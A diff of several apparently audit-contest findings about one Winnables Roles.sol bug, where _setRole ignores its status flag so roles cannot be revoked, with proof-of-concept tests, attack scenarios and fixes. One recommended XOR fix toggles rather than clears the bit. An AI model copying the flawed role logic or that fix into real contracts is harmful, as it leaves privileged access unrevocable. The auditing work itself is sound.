+https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/Roles.sol#L29-L37 + +```solidity +_addressRoles[user] = bytes32(roles | (1 << role)); +``` + +This operation only ever adds roles (sets bits to 1) and never removes them. The status parameter, which presumably should determine whether to add or remove a role, is not used in the actual role assignment logic. + + + + + +### Internal pre-conditions + +1. Admin grants a role to BOB. +2. Now admin wants to revoke the role from BOB, but he can't because revoking logic is missing, even after admin input status to false, it will again set it to 1 (true) + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +Once a role is granted, it can never be removed. + +### PoC + +Add following foundry test to confirm this behaviour + +```solidity + function testRoleCannotBeRevoked() public { + // Grant role 1 + roleManager.setRole(user, 1, true); + assertTrue(roleManager.hasRole(user, 1), "Role 1 should be granted"); + + // Attempt to revoke role 1 + roleManager.setRole(user, 1, false); + assertTrue(roleManager.hasRole(user, 1), "Role 1 should still be granted even after attempted revocation"); + + // Grant role 2 + roleManager.setRole(user, 2, true); + assertTrue(roleManager.hasRole(user, 2), "Role 2 should be granted"); + + // Attempt to revoke both roles + roleManager.setRole(user, 1, false); + roleManager.setRole(user, 2, false); + assertTrue(roleManager.hasRole(user, 1), "Role 1 should still be granted after second revocation attempt"); + assertTrue(roleManager.hasRole(user, 2), "Role 2 should still be granted after revocation attempt"); + } + +``` + +### Mitigation + +Use the following code: + +Note: This implementation needs to be looked and evaluated, don't trust it blindly + +```solidity +function _setRole(address user, uint8 role, bool status) internal virtual { + require(role < 256, "Invalid role"); + uint256 roles = uint256(_addressRoles[user]); + + if (status) { + roles |= (1 << role); // Set the role + } else { + roles &= ~(1 << role); // Clear the role + } + + _addressRoles[user] = bytes32(roles); + emit RoleUpdated(user, role, status); +} + +``` \ No newline at end of file diff --git a/002/428.md b/002/428.md new file mode 100644 index 0000000..ce120b5 --- /dev/null +++ b/002/428.md @@ -0,0 +1,80 @@ +Gorgeous Tweed Moose + +Medium + +# Incorrect Role Setting in `Roles.sol::_setRole` Allows Only Adding Roles, Not Removing + +### Summary + +The `_setRole` function in the `Roles.sol` contract incorrectly sets roles due to the misuse of bitwise operations. This causes roles to always be added, regardless of the status parameter, and never removed. + +### Root Cause + +The vulnerability is located in the _setRole function: + +```solidity +function _setRole(address user, uint8 role, bool status) internal virtual { + uint256 roles = uint256(_addressRoles[user]); + _addressRoles[user] = bytes32(roles | (1 << role)); + emit RoleUpdated(user, role, status); +} +The issue arises from the use of the bitwise OR operation (|) without considering the status parameter. This operation always sets the bit corresponding to the role, regardless of whether the intention is to add or remove the role. +Additionally, there's no mechanism to remove a role once it's been set. The status parameter in both _setRole and setRole functions is effectively ignored in the role assignment logic. + +### Internal pre-conditions + +Example: + +Adding a role works as expected: + +```solidity +Existing roles: 0000 +1 << 2: 0100 +Result of OR: 0100 +``` +Removing a role fails: + +```solidity +Existing roles: 0100 +1 << 2: 0100 +Result of OR: 0100 + +The role remains set, which is incorrect. + +### External pre-conditions + +_No response_ + +### Attack Path + +- The current role management system has a critical flaw: roles can only be added, not removed. +- If the owner gains a special role that allows them to drain funds, this role cannot be revoked. +- Even if a security review or governance change determines that the owner should no longer have this power, the role remains active. +- This creates a significant risk, as the owner would permanently retain the ability to withdraw funds, even when it's no longer appropriate. + +### Impact + +- Roles cannot be revoked once assigned, leading to a potential violation of the principle of least privilege. +- This could result in unauthorized access to critical functions if a user's roles should have been revoked but weren't. +- The contract's access control mechanism is fundamentally broken, as it doesn't allow for proper role management. +- The emitted RoleUpdated event may provide false information, as it includes a status that doesn't reflect the actual change made to the role. + +### PoC + +_No response_ + +### Mitigation + +Modify the _setRole function to properly handle both role assignment and removal: + +```solidity +function _setRole(address user, uint8 role, bool status) internal virtual { + uint256 roles = uint256(_addressRoles[user]); + if (status) { + roles |= (1 << role); // Set the role + } else { + roles &= ~(1 << role); // Clear the role + } + _addressRoles[user] = bytes32(roles); + emit RoleUpdated(user, role, status); +} \ No newline at end of file diff --git a/002/438.md b/002/438.md new file mode 100644 index 0000000..6d2896e --- /dev/null +++ b/002/438.md @@ -0,0 +1,47 @@ +Bumpy Plastic Bee + +Medium + +# Admin can't remove address from roles due to broken setRole() + +## Summary +Admin can't remove address from roles due to broken setRole() + +## Vulnerability Detail +Admin has the authority to assign roles to other user through setRole(), but the issue is once a address is set for a role, admin can't remove using setRole() due to broken _setRole() +```solidity + function _setRole(address user, uint8 role, bool status) internal virtual { + uint256 roles = uint256(_addressRoles[user]); + _addressRoles[user] = bytes32(roles | (1 << role)); + emit RoleUpdated(user, role, status); + } + + function setRole(address user, uint8 role, bool status) external virtual onlyRole(0) { + _setRole(user, role, status); + } +``` +This will harm all 3 main contracts ie Ticket.sol, TicketManager.sol, PrizeManager.sol because all these contracts are using Roles.sol to assign role1 to different users/contracts +```solidity +contract WinnablesPrizeManager is Roles, BaseCCIPSender, BaseCCIPReceiver, IWinnablesPrizeManager { +``` +```solidity +contract WinnablesTicket is Roles, IWinnablesTicket { +``` +```solidity +contract WinnablesTicketManager is Roles, VRFConsumerBaseV2, IWinnablesTicketManager, BaseCCIPSender, BaseCCIPReceiver +``` + +## Impact +Users can't be removed from their roles once assigned + +## Code Snippet +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/Roles.sol#L29C4-L37C6 +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L18 +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicket.sol#L16 +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L18 + +## Tool used +VS code + +## Recommendation +Rewrite the _setRole(), so that it resets the users role \ No newline at end of file diff --git a/002/446.md b/002/446.md new file mode 100644 index 0000000..52f55cf --- /dev/null +++ b/002/446.md @@ -0,0 +1,87 @@ +Active Coal Lynx + +Medium + +# Irreversible role assignment in `Roles.sol::_setRole()` + +### Summary + +The [`_setRole()`](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/Roles.sol#L29-L33) function in the `Roles.sol` does not allow the removal of roles from addresses. This function can only add roles, not remove them, despite having a status parameter that suggests it should be able to do both. Compromised addresses of privileged roles can not be removed. + +### Root Cause + +Use of the bitwise OR operator (|) without any mechanism to unset bits. This results in roles being permanently set once assigned, with no way to revoke them. +```solidity + function _setRole(address user, uint8 role, bool status) internal virtual { + uint256 roles = uint256(_addressRoles[user]); + _addressRoles[user] = bytes32(roles | (1 << role)); + emit RoleUpdated(user, role, status); + } + ``` + +### Internal pre-conditions + +1) An address should be given a privileged role with the `setRole()` function. + +### External pre-conditions + +1) There must to be a need to remove the privileged role from the assigned address. This can be due to the address being compromised or the address acting maliciously. + +### Attack Path + +1) An address is given a privileged role in the contracts. +2) This address acts maliciously or is compromised. +3) Admin when trying to remove this address' role will call the `setRole()` function with the 3rd parameter `bool status` being false. +4) Since the `_setRole()` function does not make use the `bool status` it is impossible to remove the role from this address. +5) Admin can try to override this address' role by setting another role to it, however this will also not work and it will not override previously given roles. + +### Impact + +It is impossible to remove an assigned role from an address. This can cause critical issues in the contracts when a privileged address is acting maliciously or when this address is compromised. + +### PoC + +The following contract can be used to observe the vulnerability, setting `status` to false will not change anything. Neither is it possible to override the role to remove it. +```solidity +contract RolesVulnerability { + mapping(address => bytes32) private _addressRoles; + + + function _setRole(address user, uint8 role, bool status) internal virtual { + uint256 roles = uint256(_addressRoles[user]); + _addressRoles[user] = bytes32(roles | (1 << role)); + } + + function setRole(address user, uint8 role, bool status) external virtual { + _setRole(user, role, status); + } + + function _hasRole(address user, uint8 role) public view returns(bool) { + uint256 roles = uint256(_addressRoles[user]); + return (roles & (1 << role)) > 0; + } + + function checkRole(address user, uint8 role) public virtual view returns(bool) { + if (!_hasRole(user, role)) { + return (false); + } + else return (true); + } +} +``` + +### Mitigation + +Function can be updated as shown below: +```solidity +function _setRole(address user, uint8 role, bool status) internal virtual { + uint256 roles = uint256(_addressRoles[user]); + if (status) { + roles = roles | (1 << role); + } else { + roles = roles & ~(1 << role); + } + _addressRoles[user] = bytes32(roles); + emit RoleUpdated(user, role, status); +} +``` \ No newline at end of file diff --git a/002/449.md b/002/449.md new file mode 100644 index 0000000..30d5af9 --- /dev/null +++ b/002/449.md @@ -0,0 +1,189 @@ +Spare Parchment Millipede + +High + +# `Roles::setRole()` can not be used to reset/remove any role + +## Summary + +The `Roles::setRole()` function in the contract is intended to manage role assignments by allowing roles to be set or removed for specific addresses. + +However, the implementation only allows roles to be set, not removed or reset, due to a flaw in the underlying logic. This flaw compromises the flexibility and security of the role management system. + + +## Vulnerability Detail + +The `setRole` function allows assigning a role to an address by invoking the internal `_setRole` function. The issue lies in the `_setRole` function, where the `status` parameter is only used for emitting events and does not influence the actual role assignment. The role assignment is managed by a bitwise OR operation `bytes32(roles | (1 << role))`, which can only add a role but cannot remove or reset it. + +### Example: + +Let’s assume `role = 1` corresponds to the `minter` role: + +1. **Initial Assignment**: + - The role is added using `setRole(user, 1, true);`. + - The bitwise OR operation sets the 2nd bit (corresponding to role 1). + - _addressRoles[user] becomes 0x02 (binary: 0000 0010). + +2. **Attempt to Remove Role**: + - The role is attempted to be removed using `setRole(user, 1, false);`. + - The bitwise OR operation still sets the 2nd bit, regardless of the status being false. + - _addressRoles[user] remains 0x02, so the minter role is not removed. + +The same case happens for `role=0` i.e the `admin` which allows its members to grant or deny roles to other users. + +This means that once a role is assigned to an address, it cannot be removed or reset, leading to potential security risks and an inability to revoke privileges. + +## Impact + +- **Inability to Revoke Roles**: + - Roles such as `minter` or `owner` cannot be removed once assigned, leading to an inability to revoke privileges even when necessary. + +- **Security Risks**: + - If a privileged account (e.g., a `minter` or `owner`) is compromised, the inability to revoke the role leaves the contract vulnerable to unauthorized actions, potentially leading to loss of control over critical functions. + +- **Ownership Transfer Complications**: + - The constructor assigns role 0 (admin rights) to the initial contract deployer (`msg.sender`). If ownership is transferred to a new address, the old owner retains their admin role because the role cannot be revoked, even by the new owner. This undermines the purpose of ownership transfer as the old owner retains full administrative control. + +## Code Snippet +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/Roles.sol#L29-L37 + +```solidity +function setRole(address user, uint8 role, bool status) external virtual onlyRole(0) { + _setRole(user, role, status); +} + +function _setRole(address user, uint8 role, bool status) internal virtual { + uint256 roles = uint256(_addressRoles[user]); + _addressRoles[user] = bytes32(roles | (1 << role)); + emit RoleUpdated(user, role, status); +} +``` + +## Coded POC +Add the following test: + +```solidity +// SPDX-License-Identifier: UNLICENSED +pragma solidity 0.8.24; + +import {Test, console} from "forge-std/Test.sol"; +import "../contracts/WinnablesTicket.sol"; + +contract WinnablesRolesTests is Test { + WinnablesTicket winnablesTicket; + address owner = makeAddr("owner"); + address minter = makeAddr("minter"); + function setUp() public { + vm.startPrank(owner); + winnablesTicket = new WinnablesTicket(); + assertEq(winnablesTicket.owner(), owner); + vm.stopPrank(); + } + + function testWinnablesRolesNotWorking() public{ + console.log("setting minter role to address(minter)"); + vm.startPrank(owner); + winnablesTicket.setRole(minter, 1, true); + vm.stopPrank(); + console.log("minting 10 ID 1 to user 2"); + vm.startPrank(minter); + address user2 = makeAddr("user2"); + winnablesTicket.mint(user2, 1, 10); + console.log("balance of user2 for ID 1", winnablesTicket.balanceOf(user2, 1)); + vm.stopPrank(); + + vm.startPrank(owner); + console.log("owner trying to remove minter"); + console.log("setting role status as false"); + winnablesTicket.setRole(minter, 1, false); + console.log("assigning arbitrary role `9` to minter except for 0 and 1"); + winnablesTicket.setRole(minter, 9, true); + vm.stopPrank(); + + // testing whether the minter is still able to mint + vm.startPrank(minter); + console.log("testing if minter can still mint"); + winnablesTicket.mint(user2, 1, 100); + console.log("balance of user2 for ID 1", winnablesTicket.balanceOf(user2, 1)); + vm.stopPrank(); + + address newOwner = makeAddr("newOwner"); + vm.startPrank(owner); + console.log("transferring ownership to newOwner and setting role 0"); + winnablesTicket.transferOwnership(newOwner); + assertEq(winnablesTicket.owner(), newOwner); + console.log("setting role 0 for newOwner"); + winnablesTicket.setRole(newOwner, 0, true); + vm.stopPrank(); + + vm.startPrank(newOwner); + console.log("newOwner tries to remove old owner using various ways"); + console.log("1. setting status as false"); + console.log("2. setting arbitrary role 9 old owner"); + winnablesTicket.setRole(owner, 0, false); + winnablesTicket.setRole(owner, 9, true); + vm.stopPrank(); + + vm.startPrank(owner); + console.log("checking if old owner can still set minter"); + address randomAddr = makeAddr("randomAddr"); + winnablesTicket.setRole(randomAddr, 1, true); + vm.stopPrank(); + + vm.startPrank(randomAddr); + console.log("checking if minter set by old owner can mint or not"); + winnablesTicket.mint(user2, 1, 200); + console.log("balance of user2 for ID 1", winnablesTicket.balanceOf(user2, 1)); + vm.stopPrank(); + } +} +``` +Run the test by the following command: +```bash +forge test --mt testWinnablesRolesNotWorking -vvv +``` +#### Console LOG: +```bash +[PASS] testWinnablesRolesNotWorking() (gas: 279500) +Logs: + setting minter role to address(minter) + minting 10 ID 1 to user 2 + balance of user2 for ID 1 10 + owner trying to remove minter + setting role status as false + assigning arbitrary role `9` to minter except for 0 and 1 + testing if minter can still mint + balance of user2 for ID 1 110 + transferring ownership to newOwner and setting role 0 + setting role 0 for newOwner + newOwner tries to remove old owner using various ways + 1. setting status as false + 2. setting arbitrary role 9 old owner + checking if old owner can still set minter + checking if minter set by old owner can mint or not + balance of user2 for ID 1 310 +``` +## Tool Used + +- **Manual Review** +- **Foundry** for testing and validation. + +## Recommendation + +To resolve this issue, the `_setRole` function should be updated to take the `status` parameter into account when assigning or removing roles. This can be achieved by modifying the bitwise operation to handle both adding and removing roles based on the `status` parameter. + +### Suggested Code Change: + +```solidity +function _setRole(address user, uint8 role, bool status) internal virtual { + uint256 roles = uint256(_addressRoles[user]); + if (status) { + _addressRoles[user] = bytes32(roles | (1 << role)); // Set role + } else { + _addressRoles[user] = bytes32(roles & ~(1 << role)); // Remove role + } + emit RoleUpdated(user, role, status); +} +``` + +This change will ensure that roles can be both set and removed, providing the necessary flexibility and security in role management. \ No newline at end of file diff --git a/002/460.md b/002/460.md new file mode 100644 index 0000000..de8402e --- /dev/null +++ b/002/460.md @@ -0,0 +1,43 @@ +Daring Parchment Goblin + +Medium + +# Contract access control in `Roles.sol` could leave the protocol vulnerable to malicious attack + +## Vulnerability Detail +Access control throughout the protocol is controlled by `roles`. By definition there could be up to `256` roles but currently only two are used. Let's look at how roles are assigned in `Roles::_setRole()` + +```javascript + function _setRole(address user, uint8 role, bool status) internal virtual { + uint256 roles = uint256(_addressRoles[user]); + _addressRoles[user] = bytes32(roles | (1 << role)); + emit RoleUpdated(user, role, status); + } +``` + +The roles are set by 'or' operation on a specific bit corresponding to the role. This allows a role to be set, but it cannot be unset. Further, the parameter `status` is unused and is directly passed to the `emit`, meaning it does not represent whether the role has been set correctly or not. + +Imagine the following scenario: after deployment, a critical vulnerability in one of the contracts is found. This contract has access to restricted functions of the other contracts in the protocol. Ideally, the access could be revoked to reduce the extend of the damage, but in this case this is impossible. + +Another scenario would be upon ownership change over the protocol. A new admin can be set, but the old one would still have access control to sensitive functions controlling the behaviour of the protocol. + +## Impact +Wrong logic in setting roles would leave sensitive functions vulnerable + +## Code Snippet +https://github.com/Winnables/public-contracts/blob/9474451539b7081f5b2e246c68b90a16e7c55b31/contracts/Roles.sol#L31 + +## Tools Used +Manual review + +## Recommendation +The `Roles::_setRole()` function can be modified to be able to set and unset a specific role by using a '`xor`' operation in the following way: + +```diff + function _setRole(address user, uint8 role, bool status) internal virtual { + uint256 roles = uint256(_addressRoles[user]); +- _addressRoles[user] = bytes32(roles | (1 << role)); ++ _addressRoles[user] = bytes32(roles ^ (1 << role)); + emit RoleUpdated(user, role, status); + } +``` \ No newline at end of file diff --git a/002/484.md b/002/484.md new file mode 100644 index 0000000..39b2984 --- /dev/null +++ b/002/484.md @@ -0,0 +1,95 @@ +Deep Crimson Cuckoo + +Medium + +# Incorrect Bit Manipulation Leads to Immutable Roles + +## Summary + +The `_setRole` function in the Roles contract always sets the role bit regardless of the intended action (granting or revoking), making all roles, including the admin role (Role 0), effectively immutable once set. + +## Vulnerability Detail + +Included below is the relevant code from the [Roles](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/Roles.sol#L29-L33) followed by key insights: + +```solidity + function _setRole(address user, uint8 role, bool status) internal virtual { + uint256 roles = uint256(_addressRoles[user]); + _addressRoles[user] = bytes32(roles | (1 << role)); + emit RoleUpdated(user, role, status); + } +``` + +The contest README states: + +> Role 0 is an admin role and it allows its members to grant or deny roles to other users. + +However despite the README's acknowledgement that admins should be able to "deny" the current implementation leaves them unable to do so. It's also worth noting that if an admin did call `_setRole` with status false they would actually grant the role they explicitly intended to "deny". + +The issues is that the function uses a bitwise OR operation (`|`) to set the role bit. This operation will always set the bit to 1, regardless of whether `status` is true or false. + + +Bitwise Operations: + +- `1 << role` creates a bitmask with only the bit at position `role` set to 1. +- `roles | (1 << role)` will always set this bit to 1 in the roles variable. + + +## Proof of Concept +```solidity +contract RolesTest is Test { + WinnablesTicket public winnablesTicket; + address public user1 = address(2); + + function setUp() public { + winnablesTicket = new WinnablesTicket(); + } + + function testIncorrectRoleSetting() public { + // Grant role 1 to user1 + winnablesTicket.setRole(user1, 1, true); + + // Attempt to revoke role 1 from user1 + winnablesTicket.setRole(user1, 1, false); + + // Check if user1 still has role 1 + assertTrue(winnablesTicket.getRoles(user1) & bytes32(uint256(1 << 1)) != bytes32(0), "Role 1 should not be revoked"); + } +} +``` + +This test demonstrates that roles cannot be revoked once granted, highlighting the incorrect implementation of the role setting logic. + +## Impact + +The current implementation creates a false sense of security and control over roles through the status parameter which is effectively ignored. The reality is that once a role is granted, it can never be revoked. This applies to all roles, including the admin role (Role 0). Additionally the function emits a RoleUpdated event with the status parameter. This can be misleading, as it suggests the role was updated according to the status, when in reality, it was always set. + + + + +## Code Snippet + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/Roles.sol#L29-L33 + +## Tool used + +Manual Review + +## Recommendation + +Modify the `_setRole` function to correctly handle both granting and revoking of roles: + +```solidity +function _setRole(address user, uint8 role, bool status) internal virtual { + uint256 roles = uint256(_addressRoles[user]); + if (status) { + roles = roles | (1 << role); + } else { + roles = roles & ~(1 << role); + } + _addressRoles[user] = bytes32(roles); + emit RoleUpdated(user, role, status); +} +``` + +This implementation uses the `status` parameter to determine whether to set or clear the role bit, allowing for both granting and revoking of roles. \ No newline at end of file diff --git a/002/488.md b/002/488.md new file mode 100644 index 0000000..412ae9d --- /dev/null +++ b/002/488.md @@ -0,0 +1,37 @@ +Vast Pastel Trout + +Medium + +# WinnablesTicket::transferOwnership does not update roles correctly + +### Summary + +The [transferOwnership](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicket.sol#L173-L176) does not update the roles correctly, leaving the old owner with the admin rights on roles. He can still add new minters to the role 1. The new admin does not get any admin rights on the Roles.sol contract and therefore has no way to modify those roles. + +### Root Cause + +The [transferOwnership](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicket.sol#L173-L176) only updates the local owner and does not update the roles. To update those, the function also has to call [_setRole](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/Roles.sol#L29-L33). + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +Admin rights of new and old owner are not correct after transferring ownership. + +### PoC + +_No response_ + +### Mitigation + +Update the `Roles.sol` state in the `transferOwnership` function. \ No newline at end of file diff --git a/002/496.md b/002/496.md new file mode 100644 index 0000000..145bcdb --- /dev/null +++ b/002/496.md @@ -0,0 +1,121 @@ +Vast Pastel Trout + +High + +# Roles.sol will not remove roles if status is false + +### Summary + +When calling [setRole(address user, uint8 role, bool status)](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/Roles.sol#L35) the status flag is ignored and the user's role is granted the role every time. Also there is no way to revoke a role after assigning it once. + +### Root Cause + +In `Roles.sol:29` the function [_setStatus](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/Roles.sol#L29-L33) does not use the status bool and only emits it. + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +Roles can only be granted and not be revoked. + +### PoC + +The POC is an additional unit test for the Roles.sol contract. It uses a wrapper for the contract called POC. The wrapper sets the deployer as an admin and adds an external view function to check user roles: + +```solidty +// SPDX-License-Identifier: UNLICENSED +pragma solidity 0.8.24; + +import "./Roles.sol"; + + +contract POC is Roles { + + constructor() { + _setRole(msg.sender, 0, true); + } + + function hasRole(address user, uint8 role) external view returns (bool) { + return _hasRole(user, role); + } +} +``` + +The test has a few testcases. It tries to revoke the permissions once granted for alice, but the tests "should not set admin role" and "should remove admin role" revert. This is caused by the admin flag being set, even though it should be unset after calling the setRole function with status false. + +```javascript +const { ethers } = require('hardhat'); +const { expect } = require('chai'); + +describe('Roles unit test', () => { + let roles; + + let admin; + let alice = ethers.Wallet.createRandom().address; + + before(async () => { + signers = await ethers.getSigners(); + + admin = signers[0]; + // POC is a wrapper for Roels + // sets msg sender to admin + // external hasRole function: hasRole(address user, uint8 role) external view returns (bool) + const rolesFactory = await ethers.getContractFactory('POC', admin); + roles = await rolesFactory.deploy(); + }) + + it('should set admin role', async () => { + const tx = await roles.connect(admin).setRole(alice, 0, true); + await tx.wait(); + expect(await roles.hasRole(alice, 0)).to.equal(true); + }) + + it('should not set admin role', async () => { + const tx = await roles.connect(admin).setRole(alice, 0, false); + await tx.wait(); + expect(await roles.hasRole(alice, 0)).to.equal(false); + }) + + it('should remove admin role', async () => { + const txSetAdmin = await roles.connect(admin).setRole(alice, 0, true); + await txSetAdmin.wait(); + expect(await roles.hasRole(alice, 0)).to.equal(true); + + const txRemoveAdmin = await roles.connect(admin).setRole(alice, 0, false); + await txRemoveAdmin.wait(); + expect(await roles.hasRole(alice, 0)).to.equal(false); + }) +}) +``` + +### Mitigation + +Consider updating the [_setStatus](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/Roles.sol#L29-L33) to use the status flag to set or unset the users roles: + +```diff +@@ -28,7 +28,11 @@ contract Roles { + + function _setRole(address user, uint8 role, bool status) internal virtual { + uint256 roles = uint256(_addressRoles[user]); +- _addressRoles[user] = bytes32(roles | (1 << role)); ++ if (status) { ++ _addressRoles[user] = bytes32(roles | (1 << role)); ++ } else { ++ _addressRoles[user] = bytes32(roles & ~(1 << role)); ++ } + emit RoleUpdated(user, role, status); + } +``` + +With those changes the unit tests in the POC now pass. + diff --git a/002/553.md b/002/553.md new file mode 100644 index 0000000..388cc92 --- /dev/null +++ b/002/553.md @@ -0,0 +1,44 @@ +Joyous Fuzzy Aardvark + +Medium + +# Inconsistent Role Management in `_setRole` Function Due to Ignored `status` Parameter + +## Summary +The `_setRole` function in the Roles contract is intended to manage user roles by setting or removing specific roles based on the `status` parameter(as per discussed with protocol team). However, the current implementation always sets the role regardless of the status parameter in the function; +```solidity +function _setRole(address user, uint8 role, bool status) internal virtual { + uint256 roles = uint256(_addressRoles[user]); + _addressRoles[user] = bytes32(roles | (1 << role)); + emit RoleUpdated(user, role, status); + } +``` +which is intended to determine whether the role should be set or removed +## Vulnerability Detail +The `_setRole` function currently uses the bitwise OR operation `(roles | (1 << role))` to set the bit corresponding to the specified role to one. This operation effectively adds the role to the user's roles, regardless of the value of the status parameter. The status parameter is intended to control whether a role should be added (set to true) or removed (set to false). However, due to the current implementation, the role is always set to true, and there is no mechanism to remove a role if status is false. This means that once a role is set, it cannot be unset using this function + +## Impact +Inability to Remove Roles which goes against protocol's intended behavioiur. + +## Code Snippet +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/Roles.sol#L29 + +## Tool used + +Manual Review + +## Recommendation +Ensure the function can both set and remove roles based on the status parameter. +```solidity +function _setRole(address user, uint8 role, bool status) internal virtual { + uint256 roles = uint256(_addressRoles[user]); + if (status) { + // Set the role + _addressRoles[user] = bytes32(roles | (1 << role)); + } else { + // Remove the role + _addressRoles[user] = bytes32(roles & ~(1 << role)); + } + emit RoleUpdated(user, role, status); +} +``` \ No newline at end of file diff --git a/002/558.md b/002/558.md new file mode 100644 index 0000000..0015445 --- /dev/null +++ b/002/558.md @@ -0,0 +1,48 @@ +Custom Laurel Crow + +High + +# Roles once assigned cannot be revoked. + +## Summary +Assigned roles to the users cannot be revoked . + +## Vulnerability Detail +The `_setRole()` function accepts a parameter `status` which logically would be used for assigning or revoking the given roles to the user based on the true/false value. + +```javascript + +function _setRole(address user, uint8 role, bool status) internal virtual { + uint256 roles = uint256(_addressRoles[user]); + _addressRoles[user] = bytes32(roles | (1 << role)); + emit RoleUpdated(user, role, status); + } + +``` + +However, the provided code only assigns the roles but is unable to revoke any role of a user. + +## Impact +Roles once assigned cannot be taken back. + +## Code Snippet +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/Roles.sol#L29-L33 + +## Tool used + +Manual Review + +## Recommendation +Use the below code to be able to assign / revoke the roles. +```javascript +function _setRole(address user, uint8 role, bool status) internal virtual { + uint256 roles = uint256(_addressRoles[user]); + if (status) { + roles = roles | (1 << role); + } else { + roles = roles & ~(1 << role); + } + _addressRoles[user] = bytes32(roles); + emit RoleUpdated(user, role, status); + } +``` diff --git a/002/561.md b/002/561.md new file mode 100644 index 0000000..2962800 --- /dev/null +++ b/002/561.md @@ -0,0 +1,78 @@ +Wide Charcoal Ram + +High + +# Old Owners Retain Unauthorized Access to Critical Functions in `WinnablesPrizeManager` and `WinnablesTicket` Contracts + +### Summary + +The `Roles` contract has not implemented code to remove existing role from a user. This bug that prevents the role of the old owner from being changed after ownership is transferred using the `transferOwnership()` function in `WinnablesPrizeManager` and `WinnablesTicket` contracts. This can cause a situation where the old owner retains unauthorized roles, and stealing funds and minting as much tickets they want. + + +### Root Cause + +In [`Roles.sol:29`](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/Roles.sol#L29C5-L33C6) The `_setRole` function in the `Roles` contract is intended to update the role of a user based on the `status` parameter. However, the function only adds or sets the role, and there is no logic to remove the role when `status` is `false`. As a result, once a role is granted, it cannot be revoked, which could lead to unauthorized access or privilege retention. + +```solidity + function _setRole(address user, uint8 role, bool status) internal virtual { + uint256 roles = uint256(_addressRoles[user]); + _addressRoles[user] = bytes32(roles | (1 << role)); + emit RoleUpdated(user, role, status); + } +``` +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/Roles.sol#L29C5-L33C6 + +### Internal pre-conditions + +1. Admin need to change the contract ownership using `transferOwnership()` in `WinnablesPrizeManager` or `WinnablesTicket` contracts + +### External pre-conditions + +_No response_ + +### Attack Path + +In **WinnablesPrizeManager** contract + +1. **Old Owners Exploiting CCIP Contracts**: Old owners can change the counterpart CCIP contracts by calling `setCCIPCounterpart()`, enabling them to drain the LINK balance by sending CCIP messages to these contracts. +2. **Locking Prizes**: Old owners can lock the prizes available in the contract by invoking the `lockNFT()`, `lockETH()`, and `lockTokens()` functions. +3. **Theft of Assets**: Old owners can steal tokens, NFTs, and ETH from the contract by using the `withdrawToken()`, `withdrawNFT()`, and `withdrawETH()` functions. + +In **WinnablesTicket** contract + +1. **Unlimited Ticket Minting**: Old owners can mint an unlimited number of tickets without spending any ETH by abusing the `mint()` function in the `WinnablesTicket` contract. + + +### Impact + +The inability to remove roles from users can result in unauthorized access or continued privileges for users who should no longer hold certain roles. This vulnerability can lead to significant damage to the protocol. An attacker, such as a compromised old owner with access to their private key, could exploit this issue to: + +- Steal NFTs, tokens, and ETH from the protocol. +- Drain LINK tokens used for CCIP messages. +- Mint an unlimited number of tickets without spending ETH. +- Manipulate the winnability of raffles. + +Overall, these exploits could lead to the complete destruction of the protocol's integrity and functionality. + + +### PoC + +_No response_ + +### Mitigation + +Please implement code to remove the role of a particular user. + +Sample code: + +```diff + function _setRole(address user, uint8 role, bool status) internal virtual { + uint256 roles = uint256(_addressRoles[user]); ++ if(status){ + _addressRoles[user] = bytes32(roles | (1 << role)); ++ } else { ++ _addressRoles[user] = bytes32(roles & ~(1 << role)); ++ } + emit RoleUpdated(user, role, status); + } +``` \ No newline at end of file diff --git a/002/568.md b/002/568.md new file mode 100644 index 0000000..9bc99e5 --- /dev/null +++ b/002/568.md @@ -0,0 +1,71 @@ +Howling Crimson Okapi + +High + +# Incorrect Role Assignment Logic Will Mismanage User Roles + +### Summary + +The __setRole_ function in the **Roles** contract has a logic error where it always sets the role regardless of the status parameter. This incorrect implementation results in the function not properly handling the role status update, leading to potential incorrect role assignments. The intended behavior of setting or unsetting a role based on the _status_ parameter is not being achieved. + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/Roles.sol#L29 + +### Root Cause + +The __setRole_ function is designed to set or unset a role for a user. The logic intended to update the user's roles based on the _status_ parameter is incorrect: + + +- Setting Role: If _status_ is _true_, the role should be set. +- Unsetting Role: If _status_ is _false_, the role should be unset. + +However, the current implementation: + +```solidity +function _setRole(address user, uint8 role, bool status) internal virtual { + uint256 roles = uint256(_addressRoles[user]); + _addressRoles[user] = bytes32(roles | (1 << role)); + emit RoleUpdated(user, role, status); +} +``` + +Always sets the role 